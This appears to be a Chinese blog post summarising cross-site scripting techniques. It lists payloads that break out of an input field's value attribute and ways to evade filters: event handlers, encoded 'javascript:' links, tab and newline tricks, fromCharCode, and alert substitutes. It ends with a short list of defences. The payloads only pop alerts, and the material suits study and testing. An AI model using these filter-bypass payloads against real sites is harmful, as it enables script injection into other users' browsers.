xss 利用总结

参考https://www.cnblogs.com/bmjoker/p/9446472.html

过滤函数:htmlspecialchars()   
& 转换为 &
" 转换为 "
' 转换为成为 '
< 转换为 &lt;
> 转换为 &gt;

原理:

下面这两个位置可以执行代码:因为上面有htmlspecialchars函数过滤,所以从input标签比较好下手
在这里插入图片描述
input标签是这样

<input name=keyword  value="'.$str.'">

1、用 onmouseover、onclick 就是这种的情况 需要在input标签内部

<input name=keyword  value="  "onmouseover=alert(1)> ">
<input name=keyword  value="  "onmouseover=alert(1)//">
或者:
payload :  " onclick=alert(1)>      这样需要点击一下输入框
           " onclick=alert(1)//   这样需要点击一下输入框

2、用这中 "><script>alert(1)</script> 也可以执行 需要在input外部

 <input name="keyword" value="  "><script>alert(1)</script> ">

3、还有一种姿势 οnfοcus=alert(1) autofocus=

<input name=keyword value=" " onfocus=alert(1) autofocus=" " >

Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。


如果script大小写被过滤

  • 则使用 <img src=1 οnerrοr=alert(1)>
    表示插入一个图片 图片路径错误无法显示 onerror事件 触发

  • 构造a标签,使其中的script进行HTML字符实体转换
    使用url编码也可以
    t 转换为 &#x74;
    则可以使用伪协议:javascrip&#x74;:alert(1)

    "><a href="javascrip&#x74;:alert(1)">haha</a>
    如果是输出在a标签中则可直接使用 javascrip&#x74;:alert(1)
    
  • script中间插入制表符:
    在这里插入图片描述
    这里使用 &#x9

    "><a href="java&#x9script:alert(1)
    

Alert被过滤 可以使用confirm()、prompt()
例 :<script>confirm()</script>


利用javascript:伪协议
"><iframe src=javascript:alert(1)>
“><a href=“javascript:alert(1)”>haha</a> 或者:”><a href=“javascript:alert(1)”>haha

 <input name=keyword value=" "><a href="javascript:alert(1)">haha</a>">
 <input name=keyword value=" "><a href="javascript:alert(1)">haha">

如果()不能用 可以用  反引号

如果 空格被过滤可以使用 %0a 或 %0d 或/**/

如果是被 加了反斜杠 \ l过滤 双引号 这种过滤

  • 过滤 双引号:在alert中实体转换alert(&quot;XSS&quot;)
  • 使用JavaScript的fromCharCode函数绕过过滤:
    <IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>
    
  • 使用没有双引号的:
    <IMG SRC=javascript:alert(‘XSS’)>

xss宽字节 绕过

在这里插入图片描述
在这里插入图片描述


某些情况下使用可以使用注释符绕过 长度限制

在这里插入图片描述
在这里插入图片描述


资料:
https://blog.csdn.net/suifengshiyu/article/details/22335239
https://blog.csdn.net/free_xiaochen/article/details/82289316


现在我们知道,这些标签都是闭合优先级高于双引号完整性优先级的特殊标签。

<!–
<iframe>
<noframes>
<no>
<>
<style>
<textarea>
<title>
<xmp>



其他

在这里插入图片描述


在这里插入图片描述


在这里插入图片描述
在这里插入图片描述


在这里插入图片描述
<img src=’ ’ οnlοad=alert(1)> 也可以给一个正确的路径 加载后弹窗


防护:
【不相应用户提交的数据,过滤过滤过滤!】
1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到 cookie了.
2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。
4、对数据进行Html Encode 处理
5、过滤或移除特殊的Html标签, 例如:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值